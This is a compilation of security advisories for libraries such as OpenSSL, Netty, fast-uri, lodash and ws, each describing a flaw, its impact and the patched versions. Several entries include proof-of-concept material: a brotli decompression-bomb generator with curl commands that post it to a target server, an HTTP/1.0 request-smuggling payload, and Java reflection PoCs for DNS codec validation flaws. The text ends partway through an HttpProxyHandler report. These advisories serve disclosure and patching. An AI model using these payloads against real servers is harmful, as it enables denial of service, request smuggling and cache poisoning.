A flaw was found in libcap. A local unprivileged user can exploit a Time-of-check-to-time-of-use (TOCTOU) race condition in the capsetfile() function. This allows an attacker with write access to a parent directory to redirect file capability updates to an attacker-controlled file. By doing so, capabilities can be injected into or stripped from unintended executables, leading to privilege escalation.
IBM Netezza Software 11.3.0.3 through Interim Fix 002 has credentials that are hardcoded in the application source code, allowing unauthorized access to the container registry. The exposed secret enables attackers to pull private container images, potentially revealing proprietary code, configuration details, and other sensitive information.
IBM Netezza Software 11.3.0.3 through Interim Fix 002 does not validate or improperly validates TLS certificate validation, which could allow an attacker to obtain sensitive information using man in the middle techniques.
IBM Netezza Software 11.3.0.3 through Interim Fix 002 does not validate or improperly validates TLS certificate validation, which could allow an attacker to obtain sensitive information using man in the middle techniques.
IBM Netezza Software 11.3.0.3 through Interim Fix 002 has operations that are performed without validating bucket ownership using the ExpectedBucketOwner parameter. This omission may allow a remote attacker to exploit misconfigurations or naming collisions to redirect application requests to an unintended S3 bucket under their control.
IBM Netezza Software 11.3.0.3 through Interim Fix 002 could allow an unauthorized user to inject data into log messages due to improper neutralization of special elements when written to log files.
nghttp2 Denial of service: Assertion failure due to the missing state validation
Last updated 30 June 2026
A stack buffer overflow may lead to a crash, causing Denial of Service, or potentially remote code execution.
When parsing CMS AuthEnvelopedData structures that use AEAD ciphers such as AES-GCM, the IV (Initialization Vector) encoded in the ASN.1 parameters is copied into a fixed-size stack buffer without verifying that its length fits the destination. An attacker can supply a crafted CMS message with an oversized IV, causing a stack-based out-of-bounds write before any authentication or tag verification occurs.
Applications and services that parse untrusted CMS or PKCS#7 content using AEAD ciphers (e.g., S/MIME AuthEnvelopedData with AES-GCM) are vulnerable. Because the overflow occurs prior to authentication, no valid key material is required to trigger it. While exploitability to remote code execution depends on platform and toolchain mitigations, the stack-based write primitive represents a severe risk.
The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.
OpenSSL 3.6, 3.5, 3.4, 3.3 and 3.0 are vulnerable to this issue.
OpenSSL 1.1.1 and 1.0.2 are not affected by this issue.
OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.
OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.
OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.
OpenSSL 3.3 users should upgrade to OpenSSL 3.3.6.
OpenSSL 3.0 users should upgrade to OpenSSL 3.0.19.
Impact
fast-uri v3.1.1 and earlier decodes percent-encoded authority delimiters (%40 as @, %3A as :) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host.
For example, http://trusted.com%40evil.com/ normalizes to http://trusted.com@evil.com/, which reparses as host evil.com with userinfo trusted.com.
Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain.
Patches
Upgrade to fast-uri >= 3.1.2.
Workarounds
None. Upgrade to the patched version.
Impact
fast-uri v3.1.0 and earlier decodes percent-encoded path separators (%2F) and dot segments (%2E) before applying dot-segment removal in normalize() and equal(). This makes encoded path data behave like real / and .., so distinct URIs collapse onto the same normalized path.
For example, http://example.com/public/%2e%2e/admin normalizes to http://example.com/admin, and equal() considers them the same URI.
Applications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed. A path that looks confined under an allowed prefix can normalize to a different location.
Patches
Upgrade to fast-uri >= 3.1.1.
Workarounds
None. Upgrade to the patched version.
: Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules).
PKIX draft CompositeVerifier accepts empty signature sequence as valid.
This issue affects BC-JAVA: from 1.49 before 1.84.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with SslContextBuilder.forClient().trustManager(somePlainX509TrustManager) performs no hostname verification at all. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Impact
The fix for CVE-2021-23337 added validation for the variable option in .template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, .template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().
Patches
Users should upgrade to version 4.18.0.
The fix applies two changes: 1. Validate importsKeys against the existing reForbiddenIdentifierChars regex (same check already used for the variable option) 2. Replace assignInWith with assignWith when merging imports, so only own properties are enumerated
Workarounds
Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names.
Impact The RedisArrayAggregator handler permanently leaks pooled direct-memory buffers when a Redis pipeline connection closes before a RESP array aggregate completes. The handler retains child messages in per-handler state (depths field) but defines no channelInactive, handlerRemoved, or exceptionCaught method to release them when the pipeline tears down. Because the leaked buffers are slices of PooledByteBufAllocator chunks, they prevent those chunks from being returned to the JVM-wide direct-memory pool. Repeated connection churn by any network peer monotonically drains this shared pool, eventually causing allocation failures on all Netty channels in the process.
Impact
The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.
Proof of concept
js import { deepStrictEqual } from 'node:assert'; import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer( { port: 0, skipUTF8Validation: true }, function () { const { port } = wss.address(); const ws = new WebSocket(ws://localhost:${port}, { skipUTF8Validation: true });
ws.on('close', function (code, reason) { deepStrictEqual(reason, Buffer.alloc(80)); }); } );
wss.on('connection', function (ws) { ws.close(1000, new Float32Array(20)); });
Patches
The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).
Credits
Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.
Remarks
Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.
Resources
- https://github.com/advisories/GHSA-58qx-3vcg-4xpx - https://www.cve.org/CVERecord?id=CVE-2026-45736
Improper Validation of Certificate with Host Mismatch vulnerability in Apache Thrift.
This issue affects Apache Thrift: before 0.23.0.
Users are recommended to upgrade to version 0.23.0, which fixes the issue.
Last updated 6 June 2026
Summary If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.
Details HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.
Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx
PoC
java @Test public void test() { EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP11, HttpMethod.GET, "/1"))); ByteBuf request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP11, HttpMethod.HEAD, "/2"))); request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound());
String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" + "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" + "HTTP/1.1 200 OK\r\n\r\n"; assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.USASCII)));
// Response 1 HttpResponse response = channel.readInbound(); assertEquals(HttpResponseStatus.EARLYHINTS, response.status()); LastHttpContent last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release();
// Response 2 response = channel.readInbound(); assertEquals(HttpResponseStatus.OK, response.status()); last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release();
// Response 3 FullHttpResponse response1 = channel.readInbound(); assertTrue(response1.decoderResult().isFailure()); assertEquals(0, response1.content().readableBytes()); response1.release();
assertFalse(channel.finish()); }
Impact Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
Summary
HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.
The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.
Details
HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.
For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():
java // HttpContentDecompressor.java:101 — maxAllocation IS enforced .handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))
ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:
java // ZlibDecoder.java:68 — hard limit on buffer capacity return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation); // ZlibDecoder.java:80 — throws when exceeded throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());
For brotli, zstd, and snappy, the decoders are created without any size limit:
java // HttpContentDecompressor.java:120 — maxAllocation IGNORED .handlers(new BrotliDecoder())
// HttpContentDecompressor.java:129 — maxAllocation IGNORED .handlers(new SnappyFrameDecoder())
// HttpContentDecompressor.java:138 — maxAllocation IGNORED .handlers(new ZstdDecoder())
BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.
ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.
The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.
PoC
1. Configure a Netty HTTP server with decompression bomb protection:
java pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max
2. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
python import brotli bomb = b'\x00' (1024 1024 1024) # 1GB of zeros compressed = brotli.compress(bomb, quality=11) with open('bomb.br', 'wb') as f: f.write(compressed) compressed size: ~1KB
3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):
bash This is caught — ZlibDecoder enforces the 1MB limit curl -X POST http://target:8080/api \ -H 'Content-Encoding: gzip' \ --data-binary @bomb.gz Result: DecompressionException thrown at 1MB
4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):
bash This bypasses the limit — BrotliDecoder has no maxAllocation curl -X POST http://target:8080/api \ -H 'Content-Encoding: br' \ --data-binary @bomb.br Result: Full 1GB decompressed into memory → OOM
5. The same bypass works with Content-Encoding: zstd and Content-Encoding: snappy.
Impact
- Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on maxAllocation for decompression bomb protection, by simply using a non-gzip content encoding. - False sense of security: Developers who explicitly configure maxAllocation to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. - Trivial bypass: The attacker only needs to change one HTTP header (Content-Encoding: br instead of Content-Encoding: gzip) to circumvent the protection entirely. - Both HTTP/1.1 and HTTP/2: The vulnerability exists in both HttpContentDecompressor (HTTP/1.1) and DelegatingDecompressorFrameListener (HTTP/2).
Recommended Fix
Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:
HttpContentDecompressor.java — pass maxAllocation to all decoders:
java // Line 120: BrotliDecoder — add maxAllocation support .handlers(new BrotliDecoder(maxAllocation))
// Line 129: SnappyFrameDecoder — add maxAllocation support .handlers(new SnappyFrameDecoder(maxAllocation))
// Line 138: ZstdDecoder — forward the configured maxAllocation .handlers(new ZstdDecoder(maxAllocation))
DelegatingDecompressorFrameListener.java — same fix at lines 188-210.
BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.
SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.
ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).
NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization
| Field | Value | |-----------|-------| | Library | io.netty:netty-codec-http | | Component | codec-http — HttpObjectDecoder | | Severity | HIGH | | Affects | HEAD, commit 4f3533ae confirmed |
---
Summary
HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.
---
Root Cause
java // HttpObjectDecoder.java:828-833 if (HttpUtil.isTransferEncodingChunked(message)) { this.chunked = true; if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP11) { handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only } return State.READCHUNKSIZE; }
// HttpObjectDecoder.java:870-873 protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) { message.headers().remove(HttpHeaderNames.CONTENTLENGTH); contentLength = Long.MINVALUE; }
The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP11. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.
---
Proof of Concept
POST /api HTTP/1.0\r\n Host: internal.example.com\r\n Transfer-Encoding: chunked\r\n Content-Length: 0\r\n \r\n 5\r\n GPOST\r\n 0\r\n \r\n
Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.
---
Conditions Required
1. Netty is deployed behind a reverse proxy or load balancer that is Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes). 2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation). 3. No additional HTTP/1.0 stripping layer between attacker and Netty.
---
Impact
Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.
---
Confirmed PoC Test
Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.
java package io.netty.handler.codec.http;
import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.util.CharsetUtil; import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.;
public class NettySmugglingSec001Test {
// VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict @Test public void http10contentLengthNotStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.0\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.USASCII));
HttpRequest req = ch.readInbound(); assertEquals(HttpVersion.HTTP10, req.protocolVersion()); // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request assertNotNull(req.headers().get(HttpHeaderNames.CONTENTLENGTH), "VULNERABLE: CL not stripped"); ch.finishAndReleaseAll(); }
// SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict @Test public void http11contentLengthStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.1\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.USASCII));
HttpRequest req = ch.readInbound(); assertNull(req.headers().get(HttpHeaderNames.CONTENTLENGTH), "SAFE: CL correctly stripped"); ch.finishAndReleaseAll(); } }
---
Fix Guidance
Remove the message.protocolVersion() == HttpVersion.HTTP11 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.
Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-dns) | | Component | io.netty.handler.codec.dns.DnsCodecUtil | | Vulnerability Type | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption | | Impact | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |
2. Affected Components
Both the encoder and decoder in the same file are affected:
- io.netty.handler.codec.dns.DnsCodecUtil — encodeDomainName() method (lines 31-51): - No null byte validation in domain name labels - No per-label length validation (RFC 1035 max: 63 bytes) - No total domain name length validation (RFC 1035 max: 255 bytes) - Empty labels silently truncate the domain name
- io.netty.handler.codec.dns.DnsCodecUtil — decodeDomainName() method (lines 53-118): - No per-label length validation (max 63) - No total domain name length validation (max 255) - Unbounded StringBuilder growth from attacker-controlled DNS responses
3. Vulnerability Description
Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.
3.1 Encoder Side — Null Byte Injection (CWE-626)
A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:
- Java (full string): sees "evil\0.example.com" as a single label containing a null - C/native DNS libraries: truncate at the null byte, seeing only "evil" - DNS servers: may accept or reject based on implementation
This differential interpretation enables DNS cache poisoning and domain validation bypass.
3.2 Encoder Side — Overlength Label (RFC 1035 Violation)
Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:
- A 200-byte label length 0xC8 would be interpreted as a compression pointer by standards-compliant DNS parsers - This creates parser confusion between label and pointer interpretation
3.3 Encoder Side — Silent Truncation via Empty Labels
java encodeDomainName("a..b.com", buf); // Encodes as: [01] 'a' [00] // Only "a." is encoded, ".b.com" is silently dropped!
An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.
3.4 Decoder Side — Unbounded Memory Allocation
The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.
Root Cause — Encoder
java // DnsCodecUtil.java:31-51 static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { break; // NO ERROR - silently truncates! } // NO check: labelLen > 63 // NO check: label contains null bytes // NO check: total name > 255 bytes buf.writeByte(labelLen); // Can write values > 63! ByteBufUtil.writeAscii(buf, label); // Null bytes pass through! } buf.writeByte(0); }
Root Cause — Decoder
java // DnsCodecUtil.java:94-99 (decodeDomainName) } else if (len != 0) { if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63 throw new CorruptedFrameException("truncated label in a name"); } name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF8)).append('.'); // ^^^^^^ StringBuilder grows WITHOUT any length limit in.skipBytes(len); }
Missing checks in decoder: - No if (len > 63) check per RFC 1035 Section 2.3.4 - No if (name.length() > 255) check for total domain name length
4. Exploitability Prerequisites
Encoder Side (outbound) 1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names 2. The constructed DNS packets are sent to DNS servers or resolvers
Decoder Side (inbound) 1. An application uses Netty's codec-dns or resolver-dns module to process DNS responses 2. The application communicates with a malicious or compromised DNS server
Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.
5. Attack Scenarios
Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)
java String hostname = userInput; // "evil\0.trusted.com" DnsQuery query = new DefaultDnsQuery(...) .addRecord(DnsSection.QUESTION, new DefaultDnsQuestion(hostname, DnsRecordType.A));
The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.
Scenario 2: Label/Pointer Confusion (Encoder)
A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:
Byte: [C8] [61 61 61 ... (200 bytes)] ↑ Label interpretation: 200-byte label starting with 'a' Pointer interpretation: pointer to offset 0x0861 = 2145
Scenario 3: Memory Exhaustion via Large Labels (Decoder)
A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.
Scenario 4: Domain Truncation via Empty Label (Encoder)
java encodeDomainName("safe-domain..evil.com", buf); // Only "safe-domain." is encoded, "evil.com" silently dropped
This can bypass domain allowlists that check the input string.
Scenario 5: Downstream Processing Failures (Decoder)
Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.
6. Proof of Concept
PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets;
public class DnsEncoderNullBytePoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method encode = clazz.getDeclaredMethod("encodeDomainName", String.class, ByteBuf.class); encode.setAccessible(true);
// Test 1: Null byte in domain name ByteBuf buf = Unpooled.buffer(256); encode.invoke(null, "evil\0.example.com", buf); byte[] bytes = new byte[buf.readableBytes()]; buf.readBytes(bytes); buf.release(); System.out.print("[TEST 1] Null byte - Encoded: "); for (byte b : bytes) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");
// Test 2: 200-byte label ByteBuf buf2 = Unpooled.buffer(512); encode.invoke(null, "a".repeat(200) + ".com", buf2); System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes"); System.out.println("VULNERABLE: Overlength label accepted!"); buf2.release();
// Test 3: Empty label truncation ByteBuf buf3 = Unpooled.buffer(256); encode.invoke(null, "a..b.com", buf3); byte[] bytes3 = new byte[buf3.readableBytes()]; buf3.readBytes(bytes3); buf3.release(); System.out.print("\n[TEST 3] Empty label - Encoded: "); for (byte b : bytes3) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Domain silently truncated!"); } }
PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets;
public class DnsDecoderLengthPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class); decode.setAccessible(true);
// Test 1: 100-byte label (RFC limit: 63) ByteBuf buf1 = Unpooled.buffer(256); buf1.writeByte(100); buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.USASCII)); buf1.writeByte(3); buf1.writeBytes("com".getBytes(StandardCharsets.USASCII)); buf1.writeByte(0); String r1 = (String) decode.invoke(null, buf1); buf1.release(); System.out.println("[TEST 1] 100-byte label: length=" + r1.length() + " VULNERABLE=" + (r1.length() > 64));
// Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255) ByteBuf buf2 = Unpooled.buffer(512); for (int i = 0; i < 5; i++) { buf2.writeByte(60); buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60) .getBytes(StandardCharsets.USASCII)); } buf2.writeByte(0); String r2 = (String) decode.invoke(null, buf2); buf2.release(); System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() + " VULNERABLE=" + (r2.length() > 255)); } }
How to Compile and Run
bash JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':')
Encoder PoC javac -cp "$JARS" DnsEncoderNullBytePoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC
Decoder PoC javac -cp "$JARS" DnsDecoderLengthPoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
Encoder PoC: === Netty DNS Encoder Validation Bypass PoC ===
[TEST 1] Null byte in domain name Input: "evil\0.example.com" Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 Null byte in label data: true VULNERABLE: YES - Null byte accepted!
[TEST 2] Label > 63 bytes in encoder Input: "aaaaaa..." (200-char label) Encoded bytes: 206 VULNERABLE: YES - Overlength label accepted in encoder!
[TEST 3] Empty labels (consecutive dots) Input: "a..b.com" Encoded bytes: 01 61 00 Note: Empty label truncates the name (may lose data)
Decoder PoC: === Netty DNS Decoder Length Bypass PoC ===
[TEST 1] Label > 63 bytes (RFC 1035 violation) Label length: 100 bytes (RFC limit: 63) Decoded name length: 105 VULNERABLE: YES - Label > 63 bytes accepted!
[TEST 2] Domain > 255 bytes via multiple labels 5 labels x 60 bytes = 300+ bytes total RFC 1035 limit: 255 bytes Decoded name length: 305 VULNERABLE: YES - Domain > 255 bytes accepted!
7. Impact Analysis
| Impact Category | Description | |----------------|-------------| | Integrity | HIGH — Null byte injection causes differential interpretation across DNS implementations | | Availability | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder | | DNS Cache Poisoning | Different parsers see different domain names from the same encoded packet | | Domain Validation Bypass | Null bytes can bypass allowlist/blocklist checks in DNS proxies | | Label/Pointer Confusion | Length bytes > 63 conflict with RFC 1035 compression pointer encoding | | Silent Truncation | Empty labels silently drop the remainder of the domain name | | Downstream Failures | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |
8. Remediation Recommendations
Fix for Encoder (encodeDomainName)
java static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } int totalLength = 0; final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { throw new IllegalArgumentException("DNS name contains empty label: " + name); } if (labelLen > 63) { throw new IllegalArgumentException( "DNS label length " + labelLen + " exceeds maximum of 63: " + name); } for (int i = 0; i < label.length(); i++) { if (label.charAt(i) == '\0') { throw new IllegalArgumentException( "DNS label contains null byte at index " + i); } } totalLength += 1 + labelLen; if (totalLength > 254) { throw new IllegalArgumentException( "DNS name exceeds maximum length of 255: " + name); } buf.writeByte(labelLen); ByteBufUtil.writeAscii(buf, label); } buf.writeByte(0); }
Fix for Decoder (decodeDomainName)
java // Add after "} else if (len != 0) {": if (len > 63) { throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63"); } // Add after "name.append(...)": if (name.length() > 255) { throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255"); }
9. Resources
- RFC 1035 Section 2.3.4: Size Limits - RFC 1035 Section 4.1.4: Message Compression - CWE-20: Improper Input Validation - CWE-400: Uncontrolled Resource Consumption - CWE-626: Null Byte Interaction Error
Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions) | | Component | io.netty.handler.proxy.HttpProxyHandler | | Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers | | Impact | HTTP Header Injection in CONNECT Proxy Requests | | CVSS 3.1 Score | 7.5 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N | | Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
- io.netty.handler.proxy.HttpProxyHandler — newInitialMessage() method (line 176) explicitly disables header validation via withValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
